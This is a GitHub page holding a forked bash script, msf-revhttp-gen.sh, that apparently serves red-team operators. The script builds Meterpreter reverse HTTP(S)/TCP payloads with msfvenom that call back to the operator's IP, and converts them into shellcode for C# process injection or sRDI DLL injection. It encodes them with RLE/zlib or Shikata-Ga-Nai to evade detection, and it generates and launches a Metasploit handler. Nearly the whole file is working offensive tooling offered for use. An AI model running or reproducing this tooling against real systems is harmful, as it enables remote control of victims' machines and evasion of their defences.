forked from klezVirus/msf-revhttp-gen
-
Notifications
You must be signed in to change notification settings - Fork 0
/
msf-revhttp-gen.sh
496 lines (440 loc) · 12.6 KB
/
msf-revhttp-gen.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
#!/bin/bash
DEF_FNAME="/tmp/msf-revhttp.raw"
DEF_LPORT=8080
DEF_IFACE="tun0"
X86=0
LINUX=0
RC_CREATE=0
CLIPBOARD=0
START_MSF=0
CACHE=0
DUMP=0
SLHOST=""
SSL=0
RDI=0
RLE=0
CSE=0
STAGED=0
CONVERTER="/opt/sRDI/Python/ConvertToShellcode.py"
ENCODER="/tmp/rle.py"
SGN=0
CS=0
write_encoder(){
echo "#!/usr/bin/env python
import sys
import argparse
import gzip
import base64
import codecs
import io
def zlib_encode(data):
compressed = codecs.encode(bytes(data, 'utf-8'), 'zlib')
return base64.b64encode(compressed).decode()
def zlib_decode(data):
compressed = base64.b64decode(data)
return compressed.decode('zlib')
def rle_encode(data):
encoding = ''
prev_char = ''
count = 1
if not data: return ''
for char in data:
if char != prev_char:
if prev_char:
encoding += str(count) + prev_char + ':'
count = 1
prev_char = char
else:
count += 1
else:
encoding += str(count) + prev_char
return encoding
def rle_decode(data):
decode = ''
count = ''
pairs = data.split(':')
decode = ''
for p in pairs:
decode += p[-1] * int(p[:-1])
return decode
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Simple Run Length Encoder')
parser.add_argument('-d', '--decode', required=False, action='store_true', default=False, help='Decode instead of encoding')
parser.add_argument('-a', '--alg', required=False, choices=['zlib', 'rle', 'all'], default='all', help='Encoding Algorithm')
parser.add_argument('data', type=str, default=False, help='Data to encode/decode')
args = parser.parse_args()
if not args.decode:
if args.alg == 'rle':
out = rle_encode(args.data)
elif args.alg == 'zlib':
out = zlib_encode(args.data)
else:
out = zlib_encode(args.data)
out = rle_encode(out)
else:
if args.alg == 'rle':
out = rle_decode(args.data)
elif args.alg == 'zlib':
out = zlib_decode(args.data)
else:
out = rle_decode(args.data)
out = zlib_decode(out)
print(out)
" > "$ENCODER"
sudo chmod +x "$ENCODER"
}
function precheck() {
ifaces=()
echo "[*] Fetching interfaces"
counter=0
ifaces=($(sudo ifconfig | grep 'flags' | awk '{print $1}' | tr -d '\n' | sed 's/:/ /g'))
ifaces+=("Quit")
for iface in ${ifaces[@]}; do
echo " - $counter: $iface";
counter=$((counter+1))
done
opt="a"
while ! [[ $opt =~ [0-9] ]]; do
read -p '[*] Select interface: ' opt
done
if [ $opt -ge ${#ifaces[@]} ]; then
echo "[-] Quitting. Bye!"
return 1
fi
netinterface=${ifaces[$opt]}
if [[ "$netinterface" == "Quit" ]]; then
echo "[-] Quitting. Bye!"
return 1
fi
netinf_ip=$(sudo ifconfig $netinterface | grep "inet " | awk '{print $2}')
if [[ "$netinf_ip" == "" ]]; then
echo "[-] The chosen interface doesn't have a valid IP configuration. Exiting."
return 1
else
echo "[+] Chosen IP: $netinf_ip"
DEF_IFACE="$netinterface"
return 0
fi
}
create_rc () {
if [[ "$1" == "" ]] || [[ "$2" == "" ]]; then
return 1
else
rc_file="$1"
payload="$2"
echo "[+] Generating MSF RC File: $rc_file"
echo "use exploit/multi/handler" > $rc_file
echo "set payload $payload" >> $rc_file
echo "set LHOST $IFACE" >> $rc_file
echo "set LPORT $LPORT" >> $rc_file
echo "set EXITFUNC thread" >> $rc_file
echo "set Autoloadstdapi false" >> $rc_file
echo "set EnableStageEncoding true" >> $rc_file
echo "set StagerEncoder x64/zutto_dekiru" >> $rc_file
echo "set StageEncodingFallback false" >> $rc_file
echo "set WfsDelay 60" >> $rc_file
# autoverifysession=false autoloadstdapi=false enablestageencoding=true stagerencoder=x64/zutto_dekiru StageEncodingFallback=false EXITFUNC=process WfsDelay=60
echo "set autoverifysession false" >> $rc_file
echo "set EXITONSESSION false" >> $rc_file
echo "run -j" >> $rc_file
return 0
fi
}
help="\n
[*] Usage: $0 [-l LPORT] [-i interface] [-f payload-file] [-m|-r][--x86]\n
[*] Options:\n
\t-l|--lport:\t\tLocal Listener (default: $DEF_LPORT)\n
\t-f|--payload-file:\tPayload File (default: $DEF_FNAME)\n
\t-i|--interface:\t\tList Interface (default: $DEF_IFACE)\n
\t-m|--start-msf:\t\tStarts MSF Hanlder (default: false) [implies -r]\n
\t-r|--generate-rc:\tGenerate MSF RC File (default: false)\n
\t--spoof-ip:\t\tInject an arbitrary IP (default: false)\n
\t--x86:\t\t\tForce 32bit payload (default: false)\n
\t--linux:\t\tForce Linux payload (default: false)\n
\t--staged:\t\tForce staged payload (default: false)\n
\t--clip:\t\t\tCopy payload to clipboard (default: false)\n
\t--cache:\t\tPrint last payload files locations (default: false)\n
\t--dump:\t\t\tPrint last payload generated (default: false)\n
\t--ssl:\t\t\tForce use of SSL (default: false)\n
\t--cse:\t\t\tCraft C# payload using shellcode injection(default: false)\n
\t--rdi:\t\t\tCraft C# payload using RDI (default: false)\n
\t--rle:\t\t\tEncode RDI Shellcode with RLE(default: false)\n
\t--sgn:\t\t\tEncode Shellcode with SGN(default: false)\n
\t--cs:\t\t\tPrint Shellcode as C# Array(default: false)\n
"
if [[ "$1" == "" ]]; then
echo "[-] No option specified, running with default profile"
precheck
if [ $? -eq 1 ]; then
exit 1
fi
fi
while (( "$#" )); do
case "$1" in
-h|--help)
echo -e $help
exit 0
;;
-l|--lport)
LPORT=$2
shift 2
;;
-f|--payload-file)
FNAME=$2
shift 2
;;
--x86)
X86=1
shift 1
;;
--staged)
STAGED=1
shift 1
;;
-i|--interface)
IFACE=$2
shift 2
;;
-m|--start-msf)
RC_CREATE=1
START_MSF=1
shift 1
;;
-r|--generate-rc)
RC_CREATE=1
shift 1
;;
--clip)
CLIPBOARD=1
shift 1
;;
--spoof-ip)
SLHOST=$2
shift 2
;;
--cache)
CACHE=1
shift 1
;;
--dump)
CACHE=1
DUMP=1
shift 1
;;
--ssl)
SSL=1
shift 1
;;
--cse)
CSE=1
shift 1
;;
--rdi)
RDI=1
shift 1
;;
--rle)
RLE=1
shift 1
;;
--sgn)
SGN=1
shift 1
;;
--cs)
CS=1
shift 1
;;
--linux)
LINUX=1
shift 1
;;
--) # end argument parsing
shift
break
;;
-*|--*=) # unsupported flags
echo "Error: Unsupported flag $1" >&2
exit 1
;;
*) # preserve positional arguments
if [[ "$PARAMS" == "" ]]; then
PARAMS="$1"
fi
shift
;;
esac
done
if [ $CACHE -gt 0 ]; then
if [[ "$MSF_LAST_HTTPREV" == "" ]]; then
echo "[-] No cached payload in memory"
else
echo "[+] Last payload used:"
if [ $DUMP -gt 0 ]; then
cat $MSF_LAST_HTTPREV
else
echo $MSF_LAST_HTTPREV
fi
fi
if [[ "$MSF_LAST_HTTPREV_RDI" == "" ]]; then
echo "[-] No cached RDI payload in memory"
else
echo "[+] Last RDI payload used:"
if [ $DUMP -gt 0 ]; then
cat $MSF_LAST_HTTPREV_RDI
else
echo $MSF_LAST_HTTPREV_RDI
fi
fi
if [[ "$MSF_LAST_HTTPREV_RC" == "" ]]; then
echo "[-] No cached RC File in memory"
else
echo "[+] Last RC used:"
if [ $DUMP -gt 0 ]; then
cat $MSF_LAST_HTTPREV_RC
else
echo $MSF_LAST_HTTPREV_RC
fi
fi
if [[ "$MSF_LAST_HTTPREV_SHELLEX" == "" ]]; then
echo "[-] No cached C# shellcode file in memory"
else
echo "[+] Last C# shellcode file used:"
if [ $DUMP -gt 0 ]; then
cat $MSF_LAST_HTTPREV_SHELLEX
else
echo $MSF_LAST_HTTPREV_SHELLEX
fi
fi
exit 1
fi
if [[ "$FNAME" == "" ]]; then
echo "[-] No filename provided, using $DEF_FNAME"
FNAME=$DEF_FNAME
fi
if [[ "$LPORT" == "" ]]; then
echo "[-] No listen port provided, using $DEF_LPORT"
LPORT=$DEF_LPORT
fi
if [[ "$IFACE" == "" ]]; then
echo "[-] No listen interface provided, using $DEF_IFACE"
IFACE=$DEF_IFACE
fi
if [[ "$SLHOST" != "" ]]; then
if [[ "$SLHOST" =~ ^(([1-9]?[0-9]|1[0-9][0-9]|2([0-4][0-9]|5[0-5]))\.){3}([1-9]?[0-9]|1[0-9][0-9]|2([0-4][0-9]|5[0-5]))$ ]]; then
echo "[+] Spoofing IP: $SLHOST"
IFACE=$SLHOST
else
echo "[-] Spoofing works only with a valid IP address"
exit 1
fi
fi
platform="windows"
base_payload_name="windows"
if [ $LINUX -gt 0 ]; then
STAGED=1
platform="linux"
base_payload_name="linux"
fi
if [ $X86 -gt 0 ]; then
arch="32"
msfarch="x86"
else
base_payload_name="$base_payload_name/x64"
arch="64"
msfarch="x64"
fi
if [ $SSL -eq 1 -a $STAGED -lt 1 ]; then
payload_name="meterpreter_reverse_https"
elif [ $SSL -eq 0 -a $STAGED -lt 1 ]; then
payload_name="meterpreter_reverse_http"
elif [ $SSL -eq 1 -a $STAGED -eq 1 ]; then
payload_name="meterpreter/reverse_https"
elif [ $SSL -eq 0 -a $STAGED -eq 1 ]; then
payload_name="meterpreter/reverse_http"
fi
if [ $LINUX -gt 0 ]; then
payload_name=$(echo $payload_name | sed 's/http/tcp/g')
fi
payload_name="$base_payload_name/$payload_name"
exitfunc="thread"
ptype="raw"
if [ $RDI -gt 0 ]; then
ptype="dll"
exitfunc="process"
elif [ $CSE -gt 0 ]; then
ptype="csharp"
fi
session_file=$(mktemp /tmp/msf-revhttp.XXXXXXXXXXXXX)
echo "[*] Generating $arch payload"
options="autoverifysession=false autoloadstdapi=false enablestageencoding=true stagerencoder=x64/zutto_dekiru StageEncodingFallback=false AutoVerifySession=false Autoloadstdapi=false WfsDelay=60"
cmd="msfvenom -p $payload_name LHOST=$IFACE LPORT=$LPORT EXITFUNC=$exitfunc $options -f $ptype -o $FNAME --platform $platform -a $msfarch"
echo " [>] Executing: $cmd"
$cmd
payload=$(xxd -ps $FNAME | tr -d '\n')
payload_file="$session_file.shellcode"
rdi_file="$session_file.rdi-shellcode"
cse_file="$session_file.cse-shellcode"
echo "$payload" > "$payload_file"
export MSF_LAST_HTTPREV=$payload_file
if [ $RDI -gt 0 ]; then
$CONVERTER $FNAME
pic_file=$(echo "$FNAME" | sed 's/\.raw$/\.bin/g')
payload=$(base64 -w0 $pic_file)
export MSF_LAST_HTTPREV_RDI=$pic_file
msg="[+] Final payload (to use with C# dll injection):"
elif [ $CSE -gt 0 ]; then
msg="[+] Final payload (to use with C# shellcode injection):"
tmpfname="$FNAME-hex"
cat $FNAME | tr -d "\n" | sed -e 's/^.*{//g' -e 's/\}.*$//g' -e 's/0x//g' -e 's/,//g' | xxd -r -p - > $tmpfname
payload=$(base64 -w0 $tmpfname)
echo "$payload" > "$cse_file"
export MSF_LAST_HTTPREV_SHELLEX=$cse_file
else
msg="[+] Final payload (to use in covenant shellcode task):"
fi
if [ $RLE -gt 0 ] && ([ ! $RDI -eq 0 ] || [ ! $CSE -eq 0 ]); then
echo "[+] Encoding payload with RLE"
write_encoder
payload=$($ENCODER "$payload")
echo "$payload" > "$rdi_file"
elif [ $RLE -gt 0 ] && [ $RDI -eq 0 ] && [ $CSE -eq 0 ]; then
echo "[-] RLE Encoding not supported for raw shellcode"
fi
echo "$msg"
if [ $CLIPBOARD -gt 0 ]; then
echo -n "$payload" | xclip -i -selection clipboard
fi
echo $payload
if [ $RC_CREATE -gt 0 ]; then
rc_file="$session_file.rc"
export MSF_LAST_HTTPREV_RC=$rc_file
create_rc $rc_file "$payload_name"
res=$?
if [ $res -gt 0 ]; then
echo "[-] Error Creating RC File"
exit 1
fi
fi
if [ $START_MSF -gt 0 ]; then
if [[ "$rc_file" == "" ]]; then
echo "[-] No RC file found. Aborting."
else
echo "[*] Starting Metasploit Framework Console"
xfce4-terminal -x sudo msfconsole -r $rc_file &>/dev/null &
fi
fi
fn_s=""
if [ $SGN -gt 0 ]; then
if [ $RLE -gt 0 ]; then
echo "[-] SGN not supported in combo with RLE"
exit 1
fi
fn_s=".sgn"
echo "[*] Encoding shellcode with Shikata-Ga-Nai"
sgn -a "$arch" "$FNAME"
fi
if [ $CS -gt 0 ]; then
echo "[*] Resulting C# payload"
bin2csharp "$FNAME$fn_s"
fi